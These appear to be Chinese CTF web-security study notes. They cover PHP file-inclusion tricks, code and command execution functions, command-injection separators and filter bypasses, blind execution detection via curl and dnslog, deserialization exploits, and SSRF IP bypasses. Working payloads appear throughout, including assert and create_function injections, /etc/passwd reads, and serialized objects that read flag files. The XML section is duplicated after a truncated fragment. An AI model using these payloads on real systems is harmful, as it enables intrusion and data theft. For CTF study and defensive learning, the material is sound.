001. CTF简介_宽字节注入
竞赛模式:
(1)解题模式(Jeopardy)
(2)攻防模式(Attack-Defense)
题型: 1. MISC 2. PPC 3.CRYPTO 4.REVERSE 5.PWN 6.WEB
赛事: DEFCON CTF : CTF赛事中的“世界杯”
SECCON
XCTF全国联赛
各种小赛事
……
https://www.xctf.org.cn/ctfs/all/
https://ctftime.org/
……
练手:
合天:http://www.hetianlab.com/
实验吧:http://www.shiyanbar.com/ctf/
i春秋:https://www.ichunqiu.com/
bugku:http://ctf.bugku.com/
xctf平台:http://oj.xctf.org.cn/
蓝鲸安全:http://whalectf.xin/
Jarvis OJ:https://www.jarvisoj.com/
……
014.session相关例题及远古截断、利用phpinfo包含临时文件相关问题
phpinfo()函数页面,可以关注open_basedir选项,即允许用户访问的目录。
具体场景phpinfo():
向服务器上传任意php文件以form-data方式提交请求上传数据时,会生成临时文件,通过phpinfo来获取临时文件的路径以及对文件名,然后临时文件在几短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。
015.自包含、php7SegmentFault及相关例题
思路:
- 上传 —> 临时文件
- 会话结束 —> 删除临时文件
- phpinfo() —>临时文件名
PHP自包含
/a.php?include=a.php
这样a.php会将它本身包含进来,而被包含进来的a.php再次尝试处理url的包含请求时,再次将自己包含进来,形成了无穷递归,递归导致栈爆炸,使php无法进行此请求的后续处理。
然后就能进行包含啦!
php奔溃
本地文件包含漏洞可以让php包含自身从而导致死循环,然后PHP就会崩溃,如果请求中同时存在一个上传文件的话,这个文件就会被保留。
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
具体参考大佬博客:
https://www.jianshu.com/u/bf30f18c872c
https://www.jianshu.com/p/dfd049924258
016.代码执行相关函数以及简单例题讲解
代码/命令执行
由于没有针对代码中可以执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器端执行。
代码/命令注入攻击中web服务器没有过滤类似system(),eval(),exec()等函数的传入参数是该漏洞的主要原因。
代码注入
mixed.eval(string code_str)
eval – 吧字符串作为PHP代码执行
code_str是PHP代码字符串
eval()函数中的code_str即要执行的代码必须是一个完整的php代码(必须是一个字符串且需要使用分号结尾)
<?php
highlight_file(__FILE__);
$a = "phpinfo()";
eval($a);
?>
bool assert(mixed $assertion [, string $description])
assert - 检查一个断言是否为false
assertion是字符串,他讲会被当做PHP代码来执行
<?php
//$a='echo 12345'; # 这种方式会报错
$a = eval("echo `whoami`;"); # 生成一个警告,但是代码能够成功执行
$b = system("dir;");
@assert($a);
echo 123;
mixed call_user_func(callable $callback [, mixed $parameter [, mixed $…]])
callback是将被会调的回调函数,parameter是0个或以上的参数,被传入回调函数。
可以传递任何内置或者用户自定义的函数
除了语言结构如array(), echo(), empty(), eval(), isset(), list(), print(), unset()
当这个函数中的两个参数可控时,我们就可以调用system、assert函数进行测试
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3gCoRjSM-1645094114201)(img/image-20210924171614214.png)]
可以使用函数来检查另一个函数是否能被调用:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VWHUUZe7-1645094114203)(img/image-20210924171833858.png)]
mixed call_user_func_array(callable $callback, array $param_arr)
callback被调用的回调函数,param_arr要被传入回调函数的数组。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IuTeWMeq-1645094114204)(img/image-20210924180846171.png)]
payload : ?cmd=phpinfo()
string create_function(string $args, string $code)
$ args是要创建的函数的参数,$code是函数内要执行的代码。
$f = @create_function('$code', 'echo $code;'); # 注意这里只能使用单引号包括而不能使用双引号包括
$b = 'hello world';
$f($b);
# f函数等价于:
# function f($code){echo $code}
$p = 'phpinfo();';
$b = create_function('', $p);
$b();
array_map
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-plKfI9fL-1645094114205)(img/image-20210924202127274.png)]
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
array_map($a, $b);
payload: a=assert&b[]=phpinfo(); # 注意这里的b是一个数组
usort
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t16JgTff-1645094114206)(img/image-20210924202936277.png)]
<?php
highlight_file(__FILE__);
usort(...$_GET);
// usort($_GET[1], "assert");
payload: usort.php?1[]=phpinfo()&1[]=123&2=assert
注意:上面的phpinfo()必须放在数组的第一位
${php代码}
${phpinfo()}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rcDHCbBN-1645094114208)(img/image-20210924203325724.png)]
例题:
<?php
highlight_file(__FILE__);
$price = $_GET['price'];
$code = 'echo $name.'.'的价格是'.$price.';';
$b=create_function('$name', $code);
$b('iPhone');
payload : ?price=20;}phpinfo();/*
分析:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yHrDQi8p-1645094114209)(img/image-20210924205236042.png)]
017.命令执行相关函数及各类命令执行绕过技巧讲解
命令注入:
string system(string command, int &return_var)
可以用来执行系统命令并将相应的执行结果输出。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jKR16DSG-1645094114210)(img/image-20210924205938122.png)]
string exec(string command, array &output, int &return_var)
command是要执行的系统命令,output是获得执行命令输出的每一行字符,return_var存放执行命令后的状态值。
命令执行结果的最后一行内容,如果需要获取未经处理的全部输出数据,可以使用passthru()函数。
如果想要获取命令的输出内容,请确保使用output参数。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TrIamDdP-1645094114210)(img/image-20210924211239030.png)]
void passthru(string command, int &return_var)
command是要执行的命令,return_var存放执行命令后的状态值。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jVjagrOW-1645094114210)(img/image-20210924211600524.png)]
string shell_exec(string command)
command是要执行的命令
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W54Fqicb-1645094114211)(img/image-20210924211848470.png)]
``运算符
与shell_exec功能相同,执行shell命令并返回输出的字符串。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0hFPnKVC-1645094114211)(img/image-20210924220735931.png)]
bool ob_start([callback $output_callback [,int $chunk_size[,bool $erase]]])
ob_start - 打开输出控制缓冲。
命令执行的分割符:
换行符 %0a
回车符 %0d(没有成功)
连续指令 ;
后台进程 &
管道符 |
逻辑符 || &&
空格绕过
<符号
$IFS, ${IFS}, $IFS$9, ——内部预分割符
%09用于url传递
命令执行的绕过
a=l;b=s; a a ab;
`echo d2hvYW1p | base64 -d ` # 这里的-d可能会存在大小写之分。
命令执行的各种符号
“substr string pos len”用法示例:
该表达式是从string中取出从pos位置开始长度为len的子字符串。如果pos或len为非正整数时,将返回空字符串。
以 “ / ”为例:
echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
018.命令执行无回显的判断方法及dnslog相关例题的讲解
-
命令无回显得情况
<?php highlight_file(__FILE__); shell_exec($_GET[1]);
判断:
-
延时 — ls|sleep(3)
?1=sleep 3
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jEu9xoOU-1645094114211)(img/image-20210925082805229.png)]
-
http请求
?1=curl 监听机ip
监听机使用: nc -lv 端口号 进行监听
测试地址: http://ceye.io/records/http
每个用户唯一的请求地址 :rmu2c6.ceye.io
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ViWpZQJX-1645094114212)(img/image-20210925093531581.png)]
可以在地址栏中简单的测试: http://111.rmu2c6.ceye.io/ 即在rmu2c6.ceye.io前面加上任意字符与.即可
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9YqgFSOf-1645094114212)(img/image-20210925093719242.png)]
发出请求后,在HTTP Request中可以看到响应的记录:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IVbA4LBw-1645094114212)(img/image-20210925093812787.png)]
-
dns请求 也可以使用也上方式进行测试,在DNS Request中可以看到记录。 用的比较多,但是要点就是必须能与外网做通信
利用
- 写入shell(直接写入/外部写入)
- http/dns等方式带出数据
022.反序列化的基本概念、魔术方法及相关例题讲解
概念:
数据(变量)序列化(持久化)。
将一个变量的数据“转换为”字符串“字符串,但并不是类型转换,目的是将该字符串存储在本地。相反的行为成为反序列化。
序列化和反序列化的目的是使用程序间传输对象会更加方便。
内存数据时“稍纵即逝”的—即程序执行结束,立即全部销毁。变量所存储的数据,就是内存数据;文件是“持久数据”。
序列化:就是将内存的变量数据,“保存”到文件汇总的持久数据的过程。简化就是:将内存转变为文件。
反序列化:就是将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程。简化就是:将文件卑微内存。
相关函数(代码注入)
serialize()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GNObdf2H-1645094114212)(img/image-20210925171013935.png)]
unserialize()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dSTYoY5I-1645094114213)(img/image-20210925171042510.png)]
序列化理解
<?php
class student{
public $name = "margin";
public $age = 20;
public function print_info(){
echo "Name: ".$this->name.", age: ".$this->age;
}
}
$stu1 = new student();
$stu1->print_info();
echo "\n";
echo serialize($stu1);
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CoHojELx-1645094114213)(img/image-20210925214744149.png)]
unserialize()
<?php
highlight_file(__FILE__);
class student{
public $name = "margin";
public $age = 20;
public function print_info(){
echo "Name: ".$this->name.", age: ".$this->age;
}
}
$student = unserialize('O:7:"student":2:{s:4:"name";s:6:"margin";s:3:"age";i:20;}');
$student->print_info();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gKWfltZB-1645094114213)(img/image-20210925215951162.png)]
魔术方法:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQoMRj82-1645094114214)(img/image-20210925220429922.png)]
__construct 构造函数。php5允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的泪在每次创建新对象是先调用此方法,所有非常适合在使用对象之前做一些初始化的工作
__toString 打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
__destruct 析构函数,php5引入了析构函数的概念,这个类似于其它面向对象的语言,如C++,析构函数会在到某个对象的所有引用都被删除或者当对象被显示销毁时执行。
__construct 和 __destruct 会在对象创建或者销毁是自动调用。
__sleep 方法在一个对象被序列化的时候调用。
__wakeup 方法在一个对象被反序列化的时候调用。
例题:
-
打开靶场,发现只有一句话,查看源代码,发现有提示。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-py35Q96O-1645094114214)(img/image-20210925232319798.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zc1QRNyz-1645094114215)(img/image-20210925232337844.png)]
可以看到,这里存在三个变量,其中如果满足第一个条件即可输出hello…,对于这里file_get_contents()函数,第一个设置为变量,第二个参数设置为’r’,这里的话我们使用PHP伪协议中的: php://input再在post里面提交welcome!即可绕过!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BiK4SN7G-1645094114215)(img/image-20210925232813617.png)]
-
接下来使用系统中已经给出的include函数来进行相关的包含!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ODQxYDfE-1645094114215)(img/image-20210925233015962.png)]
接下来使用伪协议进行包含! php://filter/read/convert.base64-encode/resource=flag.php
发现回显的内容是一样的,我可以可以包含index.php文件与在注释中看到的hint.php文件查看一下。
?txt=php://input&file=php://filter/read/convert.base64-encode/resource=index.php
?txt=php://input&file=php://filter/read/convert.base64-encode/resource=hint.php
##### index.php源码 <?php $user = $_GET['txt']; $file = $_GET['file']; $password = $_GET['password']; if (isset($user) && (@file_get_contents($user, 'r')) === 'welcome!'){ echo 'hello friend<br>'; if (preg_match("/flag/", $file)){ echo 'Oh no no!'; exit(0); } else { @include "$file"; $password = unserialize($password); echo $password; } } else { echo 'you are not number of bugku!'; } ?> <!-- $txt = $_GET['txt']; $file = $_GET['file']; $password = $_GET['password']; if (isset($txt) && (file_get_contents($txt, 'r') === 'welcome!')){ echo 'hello admin!<br>'; include($file); // hint.php } else { echo 'you are not admin'; } --> #### hint.php 源码 <?php class Flag{ // flag.php public $file; public function __toString(){ if (isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; } return "good"; } }
-
通过分析index.php与hint.php中的源代码可以知道,即~~
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-18zQMK6I-1645094114215)(img/image-20210925233654052.png)]
我们可以使用反序列化漏洞来读取flag。即先将hint.php通过包含到index.php页面中,再给password传一个我们自己构建的Flag类的序列化。
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
-
注意这里的关键点就是通过unserialize()函数在反序列化类后,在通过echo将一个类当做一个字符串进行输出时会自动触发__toString()函数,而这个函数我们刚好可以用来读取flag文件
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lSAe9fGf-1645094114216)(img/image-20210925234309827.png)]
023.序列化的一些注意点、php%20bug%2072663及对应例题讲解
反序列化注意点:
\x00+类名+\x00+变量名,反序列化出来的是private变量。ascii : \x00 —> null
\x00+*+\x00+变量名,反序列化出来的是protected变量。 protected变量
直接变量名发序列化出来的是public变量。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RNj25BgI-1645094114216)(img/image-20210926073128731.png)]可以会用Python来进行打印:
import requests
r = requests.get('http://localhost:9090/question/Code_audit/serialize_question/serialize.php')
r.content
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-biOgxTBZ-1645094114216)(img/image-20210926073458794.png)]
对象后面的数字加上符号
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QnT5sPyS-1645094114216)(img/image-20210926080008530.png)]
注:通过以上在对象前面加上符号,浏览器或服务器在解析时,会将它解析为空格,这个时候我们就可以对符号进行一个url编码或者对这个payload进行url编码
demo02:
<?php
@error_reporting(0);
class baby{
public $file;
function __toString(){
if (isset($this->file)){
$filename = "../1/{$this->file}";
if (file_get_contents($filename)){
return file_get_contents($filename);
}
}
return null;
}
}
if (isset($_GET['data'])){
$data = $_GET['data'];
preg_match("/[oc]:\d+:/i", $data, $matches);
if (count($matches)){
die('Hacker');
} else {
$good = unserialize($data);
echo $good;
}
} else {
highlight_file(__FILE__);
}
正则表达式:
\d : 匹配一个数字字符。等价于[0-9]。grep 要加上-P,perl正则支持
[oc] : 字符集合。匹配所包含的任意一个字符。
思路: 首先就是要绕过正则,这里可以使用在对象后面的数字上加上+号来进行绕过,通过反序列化字符串时,如果将反序列化后的对象使用echo进行输出,就会触发魔术方法__toString(),从而获取flag.php中的文件内容。
payload : ?data=O%3A%2B4%3A"baby"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mob7TJns-1645094114217)(img/image-20210926080904635.png)]
PHP Bug 72663
简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。
test1.
打开靶场,得到一个页面,~~~~代码审计。
<?php
error_reporting(0);
class soFun{
protected $file = 'index.php'; // key in flag.php
public function __construct($file)
{
$this->file=$file;
}
public function __destruct()
{
if (!empty($this->file)){
if ((strchr($this->file,"\\")===false) && strchr($this->file,'/')===false){
show_source(dirname(__FILE__).'/'.$this->file);
} else {
die("Wrong filename!");
}
}
}
function __wakeup(){
$this->file = 'index.php';
}
function __toString()
{
return '';
}
}
if (!isset($_GET['file'])){
show_source('index.php');
} else {
$file = base64_decode($_GET['file']);
$a = unserialize($file);
}
分析:
-
通过file参数进行传参,要是用base64编码在传。
-
我们在本地创建个soFun对象,给对象soFun的file属性赋flag.php值。
-
注:这里的file属性为protected,我们在创建的时候要特别注意字符的问题。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R7NedcG3-1645094114217)(img/image-20210926125229053.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VqF7gdst-1645094114217)(img/image-20210926125354205.png)]
-
我们这里要绕过反序列化时,__wakeup(),可以利用PHP bug 72663进行绕过,我们直接在bp中进行更改(必要)。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ipqq3MEd-1645094114218)(img/image-20210926125646196.png)]
最后payload : ?file=Tzo1OiJzb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xyvf7GCM-1645094114218)(img/image-20210926125748871.png)]
025.ssrf介绍、相关php函数及demo演示
概念:
SSRF(Server-Side Request Forgery), 服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到的数据限制。
对外发起网络请求的地方度可能都在SSRF漏洞。
危害(利用)
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务器banner信息。
- 攻击运行在内网或本地的应用程序(比如“溢出”)。
- 对内网web应用进行指纹识别,通过访问默认文件实现。
- 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如Struts2漏洞利用、SQL注入等)。
- 利用file协议读取本地文件。
类型判断:
回显
延时
dns请求
ceye平台进行验证
相关函数
file_get_contents()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d8SnP8RP-1645094114218)(img/image-20210927092604720.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i6e63jRd-1645094114218)(img/image-20210927092621854.png)]
<?php
highlight_file(__FILE__);
if (isset($_GET['url'])){
$content = file_get_contents($_GET['url']);
$filename = './images/'.rand().'.jpg';
@file_put_contents($filename, $content);
echo $_GET['url'];
$img = "<img src=\"".$filename."\"/>";
echo $img;
} else {
echo 'no url';
}
fsockopen()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JiHEzqcB-1645094114219)(img/image-20210927092826797.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bWY0o27u-1645094114219)(img/image-20210927092838035.png)]
curl_exec()
使用curl -V可以查看curl支持的协议。
也可以在phpinfo页面中搜索curl,查看protocol所支持的协议。
026.ip限制绕过及gopher对redis的利用讲解
ip绕过:
-
添加端口
-
短网址
-
指向任意IP的域名xip.io
-
IP限制绕过:
1.十进制转换、 127.0.0.1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JhY58k0p-1645094114219)(img/image-20210927095832521.png)]
2.八进制转换、 0177.0.0.1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CBI2HAJL-1645094114219)(img/image-20210927095850858.png)]
3.十六进制转换、0x7f.0.0.1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hINroKD6-1645094114220)(img/image-20210927095911782.png)]
4.不同进制组合转换。0x7f000001(16)—>2130706433
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rTfy75IR-1645094114220)(img/image-20210927095928286.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AkZnFyCe-1645094114220)(img/image-20210927095941669.png)]
302跳转
结合dict:// file:// gopher://
http://www.baidu.com@127.0.0.1
gopher://协议
gopher是一个互联网上使用的分布型的文件搜集获取网络协议。
gopher协议支持发出get、post请求,可以先截获get请求包和post请求包,在构造成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议(俗称万能协议)。
028.xml、dtd及blind%20xxe基础讲解
概念:
XXE漏洞全程XML External Entiry Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网址、发起doc攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可以上传恶意xml文件。
xml基础知识
xml指可拓展标记语言(Extensible Markup Language)
xml被设计用来传输和存储数据。
xml语言没有预定义的标签,允许作者定义注解的标签和自己的文档结构。
语法规则:
- xml文档必须有一个根元素
- xml元素不行有一个关闭标签
- xml标签对大小写敏感
- xml元素必须被正确的嵌套
- xml属性值必须加载引导
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
实体引用:
< ---- < ----- 小于号
> ---- > ----- 大于号
& ---- & ----- 和号
' ---- ' ----- 单引号
" ---- " ----- 引号
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义xml文档的合法构建模块。
DTD可以在xml文档内声明,也可以外部引用。
求包和post请求包,在构造成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议(俗称万能协议)。
028.xml、dtd及blind%20xxe基础讲解
概念:
XXE漏洞全程XML External Entiry Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网址、发起doc攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可以上传恶意xml文件。
xml基础知识
xml指可拓展标记语言(Extensible Markup Language)
xml被设计用来传输和存储数据。
xml语言没有预定义的标签,允许作者定义注解的标签和自己的文档结构。
语法规则:
- xml文档必须有一个根元素
- xml元素不行有一个关闭标签
- xml标签对大小写敏感
- xml元素必须被正确的嵌套
- xml属性值必须加载引导
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
实体引用:
< ---- < ----- 小于号
> ---- > ----- 大于号
& ---- & ----- 和号
' ---- ' ----- 单引号
" ---- " ----- 引号
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义xml文档的合法构建模块。
DTD可以在xml文档内声明,也可以外部引用。